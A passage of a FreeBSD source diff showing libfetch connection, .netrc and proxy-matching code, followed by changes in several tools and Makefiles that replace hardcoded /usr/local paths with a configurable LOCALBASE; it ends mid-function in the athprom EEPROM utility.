*buf, size_t len) { ssize_t rlen; rlen = read(sd, buf, len); if (rlen < 0) { if (errno == EAGAIN || (errno == EINTR && fetchRestartCalls)) return (FETCH_READ_WAIT); else return (FETCH_READ_ERROR); } return (rlen); } /* * Read a character from a connection w/ timeout */ ssize_t fetch_read(conn_t *conn, char *buf, size_t len) { struct timeval now, timeout, delta; struct pollfd pfd; ssize_t rlen; int deltams; if (fetchTimeout > 0) { gettimeofday(&timeout, NULL); timeout.tv_sec += fetchTimeout; } deltams = INFTIM; memset(&pfd, 0, sizeof pfd); pfd.fd = conn->sd; pfd.events = POLLIN | POLLERR; for (;;) { /* * The socket is non-blocking. Instead of the canonical * poll() -> read(), we do the following: * * 1) call read() or SSL_read(). * 2) if we received some data, return it. * 3) if an error occurred, return -1. * 4) if read() or SSL_read() signaled EOF, return. * 5) if we did not receive any data but we're not at EOF, * call poll(). * * In the SSL case, this is necessary because if we * receive a close notification, we have to call * SSL_read() one additional time after we've read * everything we received. * * In the non-SSL case, it may improve performance (very * slightly) when reading small amounts of data. */ #ifdef WITH_SSL if (conn->ssl != NULL) rlen = fetch_ssl_read(conn->ssl, buf, len); else #endif rlen = fetch_socket_read(conn->sd, buf, len); if (rlen >= 0) { break; } else if (rlen == FETCH_READ_ERROR) { fetch_syserr(); return (-1); } // assert(rlen == FETCH_READ_WAIT); if (fetchTimeout > 0) { gettimeofday(&now, NULL); if (!timercmp(&timeout, &now, >)) { errno = ETIMEDOUT; fetch_syserr(); return (-1); } timersub(&timeout, &now, &delta); deltams = delta.tv_sec * 1000 + delta.tv_usec / 1000;; } errno = 0; pfd.revents = 0; if (poll(&pfd, 1, deltams) < 0) { if (errno == EINTR && fetchRestartCalls) continue; fetch_syserr(); return (-1); } } return (rlen); } /* * Read a line of text from a connection w/ timeout */ #define MIN_BUF_SIZE 1024 int fetch_getln(conn_t *conn) { char *tmp; size_t tmpsize; ssize_t len; char c; if (conn->buf == NULL) { if ((conn->buf = malloc(MIN_BUF_SIZE)) == NULL) { errno = ENOMEM; return (-1); } conn->bufsize = MIN_BUF_SIZE; } conn->buf[0] = '\0'; conn->buflen = 0; do { len = fetch_read(conn, &c, 1); if (len == -1) return (-1); if (len == 0) break; conn->buf[conn->buflen++] = c; if (conn->buflen == conn->bufsize) { tmp = conn->buf; tmpsize = conn->bufsize * 2 + 1; if ((tmp = realloc(tmp, tmpsize)) == NULL) { errno = ENOMEM; return (-1); } conn->buf = tmp; conn->bufsize = tmpsize; } } while (c != '\n'); conn->buf[conn->buflen] = '\0'; DEBUGF("<<< %s", conn->buf); return (0); } /* * Write to a connection w/ timeout */ ssize_t fetch_write(conn_t *conn, const char *buf, size_t len) { struct iovec iov; iov.iov_base = __DECONST(char *, buf); iov.iov_len = len; return fetch_writev(conn, &iov, 1); } /* * Write a vector to a connection w/ timeout * Note: can modify the iovec. */ ssize_t fetch_writev(conn_t *conn, struct iovec *iov, int iovcnt) { struct timeval now, timeout, delta; struct pollfd pfd; ssize_t wlen, total; int deltams; memset(&pfd, 0, sizeof pfd); if (fetchTimeout) { pfd.fd = conn->sd; pfd.events = POLLOUT | POLLERR; gettimeofday(&timeout, NULL); timeout.tv_sec += fetchTimeout; } total = 0; while (iovcnt > 0) { while (fetchTimeout && pfd.revents == 0) { gettimeofday(&now, NULL); if (!timercmp(&timeout, &now, >)) { errno = ETIMEDOUT; fetch_syserr(); return (-1); } timersub(&timeout, &now, &delta); deltams = delta.tv_sec * 1000 + delta.tv_usec / 1000; errno = 0; pfd.revents = 0; if (poll(&pfd, 1, deltams) < 0) { /* POSIX compliance */ if (errno == EAGAIN) continue; if (errno == EINTR && fetchRestartCalls) continue; return (-1); } } errno = 0; #ifdef WITH_SSL if (conn->ssl != NULL) wlen = SSL_write(conn->ssl, iov->iov_base, iov->iov_len); else #endif wlen = writev(conn->sd, iov, iovcnt); if (wlen == 0) { /* we consider a short write a failure */ /* XXX perhaps we shouldn't in the SSL case */ errno = EPIPE; fetch_syserr(); return (-1); } if (wlen < 0) { if (errno == EINTR && fetchRestartCalls) continue; return (-1); } total += wlen; while (iovcnt > 0 && wlen >= (ssize_t)iov->iov_len) { wlen -= iov->iov_len; iov++; iovcnt--; } if (iovcnt > 0) { iov->iov_len -= wlen; iov->iov_base = __DECONST(char *, iov->iov_base) + wlen; } } return (total); } /* * Write a line of text to a connection w/ timeout */ int fetch_putln(conn_t *conn, const char *str, size_t len) { struct iovec iov[2]; int ret; DEBUGF(">>> %s\n", str); iov[0].iov_base = __DECONST(char *, str); iov[0].iov_len = len; iov[1].iov_base = __DECONST(char *, ENDL); iov[1].iov_len = sizeof(ENDL); if (len == 0) ret = fetch_writev(conn, &iov[1], 1); else ret = fetch_writev(conn, iov, 2); if (ret == -1) return (-1); return (0); } /* * Close connection */ int fetch_close(conn_t *conn) { int ret; if (--conn->ref > 0) return (0); #ifdef WITH_SSL if (conn->ssl) { SSL_shutdown(conn->ssl); SSL_set_connect_state(conn->ssl); SSL_free(conn->ssl); conn->ssl = NULL; } if (conn->ssl_ctx) { SSL_CTX_free(conn->ssl_ctx); conn->ssl_ctx = NULL; } if (conn->ssl_cert) { X509_free(conn->ssl_cert); conn->ssl_cert = NULL; } #endif ret = close(conn->sd); free(conn->buf); free(conn); return (ret); } /*** Directory-related utility functions *************************************/ int fetch_add_entry(struct url_ent **p, int *size, int *len, const char *name, struct url_stat *us) { struct url_ent *tmp; if (*p == NULL) { *size = 0; *len = 0; } if (*len >= *size - 1) { tmp = reallocarray(*p, *size * 2 + 1, sizeof(**p)); if (tmp == NULL) { errno = ENOMEM; fetch_syserr(); return (-1); } *size = (*size * 2 + 1); *p = tmp; } tmp = *p + *len; snprintf(tmp->name, PATH_MAX, "%s", name); memcpy(&tmp->stat, us, sizeof(*us)); (*len)++; (++tmp)->name[0] = 0; return (0); } /*** Authentication-related utility functions ********************************/ static const char * fetch_read_word(FILE *f) { static char word[1024]; if (fscanf(f, " %1023s ", word) != 1) return (NULL); return (word); } static int fetch_netrc_open(void) { struct passwd *pwd; char fn[PATH_MAX]; const char *p; int fd, serrno; if ((p = getenv("NETRC")) != NULL) { DEBUGF("NETRC=%s\n", p); if (snprintf(fn, sizeof(fn), "%s", p) >= (int)sizeof(fn)) { fetch_info("$NETRC specifies a file name " "longer than PATH_MAX"); return (-1); } } else { if ((p = getenv("HOME")) == NULL) { if ((pwd = getpwuid(getuid())) == NULL || (p = pwd->pw_dir) == NULL) return (-1); } if (snprintf(fn, sizeof(fn), "%s/.netrc", p) >= (int)sizeof(fn)) return (-1); } if ((fd = open(fn, O_RDONLY)) < 0) { serrno = errno; DEBUGF("%s: %s\n", fn, strerror(serrno)); errno = serrno; } return (fd); } /* * Get authentication data for a URL from .netrc */ int fetch_netrc_auth(struct url *url) { const char *word; int serrno; FILE *f; if (url->netrcfd < 0) url->netrcfd = fetch_netrc_open(); if (url->netrcfd < 0) return (-1); if ((f = fdopen(url->netrcfd, "r")) == NULL) { serrno = errno; DEBUGF("fdopen(netrcfd): %s", strerror(errno)); close(url->netrcfd); url->netrcfd = -1; errno = serrno; return (-1); } rewind(f); DEBUGF("searching netrc for %s\n", url->host); while ((word = fetch_read_word(f)) != NULL) { if (strcmp(word, "default") == 0) { DEBUGF("using default netrc settings\n"); break; } if (strcmp(word, "machine") == 0 && (word = fetch_read_word(f)) != NULL && strcasecmp(word, url->host) == 0) { DEBUGF("using netrc settings for %s\n", word); break; } } if (word == NULL) goto ferr; while ((word = fetch_read_word(f)) != NULL) { if (strcmp(word, "login") == 0) { if ((word = fetch_read_word(f)) == NULL) goto ferr; if (snprintf(url->user, sizeof(url->user), "%s", word) > (int)sizeof(url->user)) { fetch_info("login name in .netrc is too long"); url->user[0] = '\0'; } } else if (strcmp(word, "password") == 0) { if ((word = fetch_read_word(f)) == NULL) goto ferr; if (snprintf(url->pwd, sizeof(url->pwd), "%s", word) > (int)sizeof(url->pwd)) { fetch_info("password in .netrc is too long"); url->pwd[0] = '\0'; } } else if (strcmp(word, "account") == 0) { if ((word = fetch_read_word(f)) == NULL) goto ferr; /* XXX not supported! */ } else { break; } } fclose(f); url->netrcfd = -1; return (0); ferr: serrno = errno; fclose(f); url->netrcfd = -1; errno = serrno; return (-1); } /* * The no_proxy environment variable specifies a set of domains for * which the proxy should not be consulted; the contents is a comma-, * or space-separated list of domain names. A single asterisk will * override all proxy variables and no transactions will be proxied * (for compatibility with lynx and curl, see the discussion at * ). */ int fetch_no_proxy_match(const char *host) { const char *no_proxy, *p, *q; size_t h_len, d_len; if ((no_proxy = getenv("NO_PROXY")) == NULL && (no_proxy = getenv("no_proxy")) == NULL) return (0); /* asterisk matches any hostname */ if (strcmp(no_proxy, "*") == 0) return (1); h_len = strlen(host); p = no_proxy; do { /* position p at the beginning of a domain suffix */ while (*p == ',' || isspace((unsigned char)*p)) p++; /* position q at the first separator character */ for (q = p; *q; ++q) if (*q == ',' || isspace((unsigned char)*q)) break; d_len = q - p; if (d_len > 0 && h_len >= d_len && strncasecmp(host + h_len - d_len, p, d_len) == 0) { /* domain name matches */ return (1); } p = q + 1; } while (*q); return (0); } Index: head/sbin/nvmecontrol/nvmecontrol.c =================================================================== --- head/sbin/nvmecontrol/nvmecontrol.c (revision 367074) +++ head/sbin/nvmecontrol/nvmecontrol.c (revision 367075) @@ -1,187 +1,187 @@ /*- * SPDX-License-Identifier: BSD-2-Clause-FreeBSD * * Copyright (C) 2012-2013 Intel Corporation * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include __FBSDID("$FreeBSD$"); #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "nvmecontrol.h" static void print_bytes(void *data, uint32_t length) { uint32_t i, j; uint8_t *p, *end; end = (uint8_t *)data + length; for (i = 0; i < length; i++) { p = (uint8_t *)data + (i*16); printf("%03x: ", i*16); for (j = 0; j < 16 && p < end; j++) printf("%02x ", *p++); if (p >= end) break; printf("\n"); } printf("\n"); } static void print_dwords(void *data, uint32_t length) { uint32_t *p; uint32_t i, j; p = (uint32_t *)data; length /= sizeof(uint32_t); for (i = 0; i < length; i+=8) { printf("%03x: ", i*4); for (j = 0; j < 8; j++) printf("%08x ", p[i+j]); printf("\n"); } printf("\n"); } void print_hex(void *data, uint32_t length) { if (length >= sizeof(uint32_t) || length % sizeof(uint32_t) == 0) print_dwords(data, length); else print_bytes(data, length); } void read_controller_data(int fd, struct nvme_controller_data *cdata) { struct nvme_pt_command pt; memset(&pt, 0, sizeof(pt)); pt.cmd.opc = NVME_OPC_IDENTIFY; pt.cmd.cdw10 = htole32(1); pt.buf = cdata; pt.len = sizeof(*cdata); pt.is_read = 1; if (ioctl(fd, NVME_PASSTHROUGH_CMD, &pt) < 0) err(1, "identify request failed"); /* Convert data to host endian */ nvme_controller_data_swapbytes(cdata); if (nvme_completion_is_error(&pt.cpl)) errx(1, "identify request returned error"); } void read_namespace_data(int fd, uint32_t nsid, struct nvme_namespace_data *nsdata) { struct nvme_pt_command pt; memset(&pt, 0, sizeof(pt)); pt.cmd.opc = NVME_OPC_IDENTIFY; pt.cmd.nsid = htole32(nsid); pt.cmd.cdw10 = htole32(0); pt.buf = nsdata; pt.len = sizeof(*nsdata); pt.is_read = 1; if (ioctl(fd, NVME_PASSTHROUGH_CMD, &pt) < 0) err(1, "identify request failed"); /* Convert data to host endian */ nvme_namespace_data_swapbytes(nsdata); if (nvme_completion_is_error(&pt.cpl)) errx(1, "identify request returned error"); } int open_dev(const char *str, int *fd, int write, int exit_on_error) { char full_path[64]; snprintf(full_path, sizeof(full_path), _PATH_DEV"%s", str); *fd = open(full_path, write ? O_RDWR : O_RDONLY); if (*fd < 0) { if (exit_on_error) { err(1, "could not open %s%s", full_path, write ? " for write" : ""); } else return (errno); } return (0); } void get_nsid(int fd, char **ctrlr_str, uint32_t *nsid) { struct nvme_get_nsid gnsid; if (ioctl(fd, NVME_GET_NSID, &gnsid) < 0) err(1, "NVME_GET_NSID ioctl failed"); if (ctrlr_str != NULL) *ctrlr_str = strndup(gnsid.cdev, sizeof(gnsid.cdev)); if (nsid != NULL) *nsid = gnsid.nsid; } int main(int argc, char *argv[]) { cmd_init(); cmd_load_dir("/lib/nvmecontrol", NULL, NULL); - cmd_load_dir("/usr/local/lib/nvmecontrol", NULL, NULL); + cmd_load_dir(_PATH_LOCALBASE "/lib/nvmecontrol", NULL, NULL); cmd_dispatch(argc, argv, NULL); return (0); } Index: head/secure/lib/libssh/Makefile =================================================================== --- head/secure/lib/libssh/Makefile (revision 367074) +++ head/secure/lib/libssh/Makefile (revision 367075) @@ -1,62 +1,66 @@ # $FreeBSD$ .include LIB= ssh PRIVATELIB= true SHLIB_MAJOR= 5 SRCS= ssh_api.c ssherr.c sshbuf.c sshkey.c sshbuf-getput-basic.c \ sshbuf-misc.c sshbuf-getput-crypto.c krl.c bitmap.c SRCS+= authfd.c authfile.c \ canohost.c channels.c cipher.c cipher-aes.c cipher-aesctr.c \ cipher-ctr.c cleanup.c \ compat.c crc32.c fatal.c hostfile.c \ log.c match.c moduli.c nchan.c packet.c opacket.c \ readpass.c ttymodes.c xmalloc.c addrmatch.c \ atomicio.c dispatch.c mac.c uuencode.c misc.c utf8.c \ monitor_fdpass.c rijndael.c ssh-dss.c ssh-ecdsa.c ssh-rsa.c dh.c \ msg.c progressmeter.c dns.c entropy.c umac.c umac128.c \ ssh-pkcs11.c smult_curve25519_ref.c \ poly1305.c chacha.c cipher-chachapoly.c \ ssh-ed25519.c digest-openssl.c digest-libc.c hmac.c \ sc25519.c ge25519.c fe25519.c ed25519.c verify.c hash.c \ kex.c kexdh.c kexgex.c kexecdh.c kexc25519.c \ kexdhc.c kexgexc.c kexecdhc.c kexc25519c.c \ kexdhs.c kexgexs.c kexecdhs.c kexc25519s.c \ platform-pledge.c platform-tracing.c platform-misc.c PACKAGE= ssh # gss-genr.c should be in $SRCS but causes linking problems, so it is # compiled directly into sshd instead. # Portability layer SRCS+= bcrypt_pbkdf.c blowfish.c bsd-misc.c bsd-signal.c explicit_bzero.c \ fmt_scaled.c freezero.c glob.c \ libressl-api-compat.c \ openssl-compat.c port-net.c \ realpath.c recallocarray.c strtonum.c timingsafe_bcmp.c vis.c xcrypt.c .if ${MK_LDNS} == "no" SRCS+= getrrsetbyname.c .else LDNSDIR= ${SRCTOP}/contrib/ldns CFLAGS+= -DHAVE_LDNS=1 -I${LDNSDIR} SRCS+= getrrsetbyname-ldns.c LIBADD+= ldns .endif CFLAGS+= -I${SSHDIR} -include ssh_namespace.h SRCS+= ssh_namespace.h .if ${MK_GSSAPI} != "no" && ${MK_KERBEROS_SUPPORT} != "no" CFLAGS+= -include krb5_config.h SRCS+= krb5_config.h .endif +.if defined(LOCALBASE) +CFLAGS+= -D_PATH_SSH_ASKPASS_DEFAULT='"${LOCALBASE}/bin/ssh-askpass"' +.endif + NO_LINT= LIBADD+= crypto crypt z .include .PATH: ${SSHDIR} ${SSHDIR}/openbsd-compat Index: head/secure/usr.bin/ssh-agent/Makefile =================================================================== --- head/secure/usr.bin/ssh-agent/Makefile (revision 367074) +++ head/secure/usr.bin/ssh-agent/Makefile (revision 367075) @@ -1,23 +1,27 @@ # $FreeBSD$ .include PROG= ssh-agent SRCS= ssh-agent.c PACKAGE= ssh CFLAGS+=-I${SSHDIR} -include ssh_namespace.h SRCS+= ssh_namespace.h LIBADD= ssh .if ${MK_LDNS} != "no" CFLAGS+= -DHAVE_LDNS=1 #DPADD+= ${LIBLDNS} #LDADD+= -lldns .endif +.if defined(LOCALBASE) +CFLAGS+= -DDEFAULT_PKCS11_WHITELIST='"/usr/lib*/*,${LOCALBASE}/lib*/*"' +.endif + LIBADD+= crypto .include .PATH: ${SSHDIR} Index: head/tools/tools/ath/athprom/athprom.c =================================================================== --- head/tools/tools/ath/athprom/athprom.c (revision 367074) +++ head/tools/tools/ath/athprom/athprom.c (revision 367075) @@ -1,979 +1,980 @@ /*- * Copyright (c) 2008 Sam Leffler, Errno Consulting * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer, * without modification. * 2. Redistributions in binary form must reproduce at minimum a disclaimer * similar to the "NO WARRANTY" disclaimer below ("Disclaimer") and any * redistribution must be conditioned upon including a substantially * similar Disclaimer requirement for further binary redistribution. * * NO WARRANTY * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF NONINFRINGEMENT, MERCHANTIBILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL * THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE LIABLE FOR SPECIAL, EXEMPLARY, * OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER * IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF * THE POSSIBILITY OF SUCH DAMAGES. * * $FreeBSD$ */ #include "diag.h" #include "ah.h" #include "ah_internal.h" #include "ah_eeprom_v1.h" #include "ah_eeprom_v3.h" #include "ah_eeprom_v14.h" #define IS_VERS(op, v) (eeprom.ee_version op (v)) #include #include #include +#include #include #include #include #ifndef DIR_TEMPLATE -#define DIR_TEMPLATE "/usr/local/libdata/athprom" +#define DIR_TEMPLATE _PATH_LOCALBASE "/libdata/athprom" #endif struct ath_diag atd; int s; const char *progname; union { HAL_EEPROM legacy; /* format v3.x ... v5.x */ struct ar5416eeprom v14; /* 11n format v14.x ... */ } eep; #define eeprom eep.legacy #define eepromN eep.v14 static void parseTemplate(FILE *ftemplate, FILE *fd); static uint16_t eeread(uint16_t); static void eewrite(uint16_t, uint16_t); static void usage() { fprintf(stderr, "usage: %s [-i ifname] [-t pathname] [offset | offset=value]\n", progname); exit(-1); } static FILE * opentemplate(const char *dir) { char filename[PATH_MAX]; FILE *fd; /* find the template using the eeprom version */ snprintf(filename, sizeof(filename), "%s/eeprom-%d.%d", dir, eeprom.ee_version >> 12, eeprom.ee_version & 0xfff); fd = fopen(filename, "r"); if (fd == NULL && errno == ENOENT) { /* retry with just the major version */ snprintf(filename, sizeof(filename), "%s/eeprom-%d", dir, eeprom.ee_version >> 12); fd = fopen(filename, "r"); if (fd != NULL) /* XXX verbose */ warnx("Using template file %s", filename); } return fd; } int main(int argc, char *argv[]) { FILE *fd = NULL; const char *ifname; int c; s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) err(1, "socket"); ifname = getenv("ATH"); if (!ifname) ifname = ATH_DEFAULT; progname = argv[0]; while ((c = getopt(argc, argv, "i:t:")) != -1) switch (c) { case 'i': ifname = optarg; break; case 't': fd = fopen(optarg, "r"); if (fd == NULL) err(-1, "Cannot open %s", optarg); break; default: usage(); /*NOTREACHED*/ } argc -= optind; argv += optind; strncpy(atd.ad_name, ifname, sizeof (atd.ad_name)); if (argc != 0) { for (; argc > 0; argc--, argv++) { uint16_t off, val, oval; char line[256]; char *cp; cp = strchr(argv[0], '='); if (cp != NULL) *cp = '\0'; off = (uint16_t) strtoul(argv[0], NULL, 0); if (off == 0 && errno == EINVAL) errx(1, "%s: invalid eeprom offset %s", progname, argv[0]); if (cp == NULL) { printf("%04x: %04x\n", off, eeread(off)); } else { val = (uint16_t) strtoul(cp+1, NULL, 0); if (val == 0 && errno == EINVAL) errx(1, "%s: invalid eeprom value %s", progname, cp+1); oval = eeread(off); printf("Write %04x: %04x = %04x? ", off, oval, val); fflush(stdout); if (fgets(line, sizeof(line), stdin) != NULL && line[0] == 'y') eewrite(off, val); } } } else { atd.ad_id = HAL_DIAG_EEPROM; atd.ad_out_data = (caddr_t) &eep; atd.ad_out_size = sizeof(eep); if (ioctl(s, SIOCGATHDIAG, &atd) < 0) err(1, "ioctl: %s", atd.ad_name); if (fd == NULL) { fd = opentemplate(DIR_TEMPLATE); if (fd == NULL) fd = opentemplate("."); if (fd == NULL) errx(-1, "Cannot locate template file for " "v%d.%d EEPROM", eeprom.ee_version >> 12, eeprom.ee_version & 0xfff); } parseTemplate(fd, stdout); fclose(fd); } return 0; } static u_int16_t eeread(u_int16_t off) { u_int16_t eedata; atd.ad_id = HAL_DIAG_EEREAD | ATH_DIAG_IN | ATH_DIAG_DYN; atd.ad_in_size = sizeof(off); atd.ad_in_data = (caddr_t) &off; atd.ad_out_size = sizeof(eedata); atd.ad_out_data = (caddr_t) &eedata; if (ioctl(s, SIOCGATHDIAG, &atd) < 0) err(1, "ioctl: %s", atd.ad_name); return eedata; } static void eewrite(uint16_t off, uint16_t value) { HAL_DIAG_EEVAL eeval; eeval.ee_off = off; eeval.ee_data = value; atd.ad_id = HAL_DIAG_EEWRITE | ATH_DIAG_IN; atd.ad_in_size = sizeof(eeval); atd.ad_in_data = (caddr_t) &eeval; atd.ad_out_size = 0; atd.ad_out_data = NULL; if (ioctl(s, SIOCGATHDIAG, &atd) < 0) err(1, "ioctl: %s", atd.ad_name); } #define MAXID 128 int lineno; int bol; int curmode = -1; int curchan; int curpdgain; /* raw pdgain index */ int curlpdgain; /* logical pdgain index */ int curpcdac; int curctl; int numChannels; const RAW_DATA_STRUCT_2413 *pRaw; const TRGT_POWER_INFO *pPowerInfo; const DATA_PER_CHANNEL *pDataPerChannel; const EEPROM_POWER_EXPN_5112 *pExpnPower; int singleXpd; static int token(FILE *fd, char id[], int maxid, const char *what) { int c, i; i = 0; for (;;) { c = getc(fd); if (c == EOF) return EOF; if (!isalnum(c) && c != '_') { ungetc(c, fd); break; } if (i == maxid-1) { warnx("line %d, %s too long", lineno, what); break; } id[i++] = c; } id[i] = '\0'; if (i != 0) bol = 0; return i; } static int skipto(FILE *fd, const char *what) { char id[MAXID]; int c; for (;;) { c = getc(fd); if (c == EOF) goto bad; if (c == '.' && bol) { /* .directive */ if (token(fd, id, MAXID, ".directive") == EOF) goto bad; if (strcasecmp(id, what) == 0) break; continue; } if (c == '\\') { /* escape next character */ c = getc(fd); if (c == EOF) goto bad; } bol = (c == '\n'); if (bol) lineno++; } return 0; bad: warnx("EOF with no matching .%s", what); return EOF; } static int skipws(FILE *fd) { int c, i; i = 0; while ((c = getc(fd)) != EOF && isblank(c)) i++; if (c != EOF) ungetc(c, fd); if (i != 0) bol = 0; return 0; } static void setmode(int mode) { EEPROM_POWER_EXPN_5112 *exp; curmode = mode; curchan = -1; curctl = -1; curpdgain = -1; curlpdgain = -1; curpcdac = -1; switch (curmode) { case headerInfo11A: pPowerInfo = eeprom.ee_trgtPwr_11a; pDataPerChannel = eeprom.ee_dataPerChannel11a; break; case headerInfo11B: pPowerInfo = eeprom.ee_trgtPwr_11b; pDataPerChannel = eeprom.ee_dataPerChannel11b; break; case headerInfo11G: pPowerInfo = eeprom.ee_trgtPwr_11g; pDataPerChannel = eeprom.ee_dataPerChannel11g; break; } if (IS_VERS(<, AR_EEPROM_VER4_0)) /* nothing to do */ return; if (IS_VERS(<, AR_EEPROM_VER5_0)) { exp = &eeprom.ee_modePowerArray5112[curmode]; /* fetch indirect data*/ atd.ad_id = HAL_DIAG_EEPROM_EXP_11A+curmode; atd.ad_out_size = roundup( sizeof(u_int16_t) * exp->numChannels, sizeof(u_int32_t)) + sizeof(EXPN_DATA_PER_CHANNEL_5112) * exp->numChannels; atd.ad_out_data = (caddr_t) malloc(atd.ad_out_size); if (ioctl(s, SIOCGATHDIAG, &atd) < 0) err(1, "ioctl: %s", atd.ad_name); exp->pChannels = (void *) atd.ad_out_data; exp->pDataPerChannel = (void *)((char *)atd.ad_out_data + roundup(sizeof(u_int16_t) * exp->numChannels, sizeof(u_int32_t))); pExpnPower = exp; numChannels = pExpnPower->numChannels; if (exp->xpdMask != 0x9) { for (singleXpd = 0; singleXpd < NUM_XPD_PER_CHANNEL; singleXpd++) if (exp->xpdMask == (1<numChannels; } } int nextctl(int start) { int i; for (i = start; i < eeprom.ee_numCtls && eeprom.ee_ctl[i]; i++) { switch (eeprom.ee_ctl[i] & 3) { case 0: case 3: if (curmode != headerInfo11A) continue; break; case 1: if (curmode != headerInfo11B) continue; break; case 2: if (curmode != headerInfo11G) continue; break; } return i; } return -1; } static void printAntennaControl(FILE *fd, int ant) { fprintf(fd, "0x%02X", eeprom.ee_antennaControl[ant][curmode]); } static void printEdge(FILE *fd, int edge) { const RD_EDGES_POWER *pRdEdgePwrInfo = &eeprom.ee_rdEdgesPower[curctl*NUM_EDGES]; if (pRdEdgePwrInfo[edge].rdEdge == 0) fprintf(fd, " -- "); else fprintf(fd, "%04d", pRdEdgePwrInfo[edge].rdEdge); } static void printEdgePower(FILE *fd, int edge) { const RD_EDGES_POWER *pRdEdgePwrInfo = &eeprom.ee_rdEdgesPower[curctl*NUM_EDGES]; if (pRdEdgePwrInfo[edge].rdEdge == 0) fprintf(fd, " -- "); else fprintf(fd, "%2d.%d", pRdEdgePwrInfo[edge].twice_rdEdgePower / 2, (pRdEdgePwrInfo[edge].twice_rdEdgePower % 2) * 5); } static void printEdgeFlag(FILE *fd, int edge) { const RD_EDGES_POWER *pRdEdgePwrInfo = &eeprom.ee_rdEdgesPower[curctl*NUM_EDGES]; if (pRdEdgePwrInfo[edge].rdEdge == 0) fprintf(fd, "--"); else fprintf(fd, " %1d", pRdEdgePwrInfo[edge].flag); } static int16_t getMaxPowerV5(const RAW_DATA_PER_CHANNEL_2413 *data) { uint32_t i; uint16_t numVpd; for (i = 0; i < MAX_NUM_PDGAINS_PER_CHANNEL; i++) { numVpd = data->pDataPerPDGain[i].numVpd; if (numVpd > 0) return data->pDataPerPDGain[i].pwr_t4[numVpd-1]; } return 0; } static void printQuarterDbmPower(FILE *fd, int16_t power25dBm) { fprintf(fd, "%2d.%02d", power25dBm / 4, (power25dBm % 4) * 25); } static void printHalfDbmPower(FILE *fd, int16_t power5dBm) { fprintf(fd, "%2d.%d", power5dBm / 2, (power5dBm % 2) * 5); } static void printVpd(FILE *fd, int vpd) { fprintf(fd, "[%3d]", vpd); } static void printPcdacValue(FILE *fd, int v) { fprintf(fd, "%2d.%02d", v / EEP_SCALE, v % EEP_SCALE); } static void undef(const char *what) { warnx("%s undefined for version %d.%d format EEPROM", what, eeprom.ee_version >> 12, eeprom.ee_version & 0xfff); } static int pdgain(int lpdgain) { uint32_t mask; int i, l = lpdgain; if (IS_VERS(<, AR_EEPROM_VER5_0)) mask = pExpnPower->xpdMask; else mask = pRaw->xpd_mask; for (i = 0; mask != 0; mask >>= 1, i++) if ((mask & 1) && l-- == 0) return i; warnx("can't find logical pdgain %d", lpdgain); return -1; } #define COUNTRY_ERD_FLAG 0x8000 #define WORLDWIDE_ROAMING_FLAG 0x4000 void eevar(FILE *fd, const char *var) { #define streq(a,b) (strcasecmp(a,b) == 0) #define strneq(a,b,n) (strncasecmp(a,b,n) == 0) if (streq(var, "mode")) { fprintf(fd, "%s", curmode == headerInfo11A ? "11a" : curmode == headerInfo11B ? "11b" : curmode == headerInfo11G ? "11g" : "???"); } else if (streq(var, "version")) { fprintf(fd, "%04x", eeprom.ee_version); } else if (streq(var, "V_major")) { fprintf(fd, "%2d", eeprom.ee_version >> 12); } else if (streq(var, "V_minor")) { fprintf(fd, "%2d", eeprom.ee_version & 0xfff); } else if (streq(var, "earStart")) { fprintf(fd, "%03x", eeprom.ee_earStart); } else if (streq(var, "tpStart")) { fprintf(fd, "%03x", eeprom.ee_targetPowersStart); } else if (streq(var, "eepMap")) { fprintf(fd, "%3d", eeprom.ee_eepMap); } else if (streq(var, "exist32KHzCrystal")) { fprintf(fd, "%3d", eeprom.ee_exist32kHzCrystal); } else if (streq(var, "eepMap2PowerCalStart")) { fprintf(fd , "%3d", eeprom.ee_eepMap2PowerCalStart); } else if (streq(var, "Amode")) { fprintf(fd , "%1d", eeprom.ee_Amode); } else if (streq(var, "Bmode")) { fprintf(fd , "%1d", eeprom.ee_Bmode); } else if (streq(var, "Gmode")) { fprintf(fd , "%1d", eeprom.ee_Gmode); } else if (streq(var, "regdomain")) { if ((eeprom.ee_regdomain & 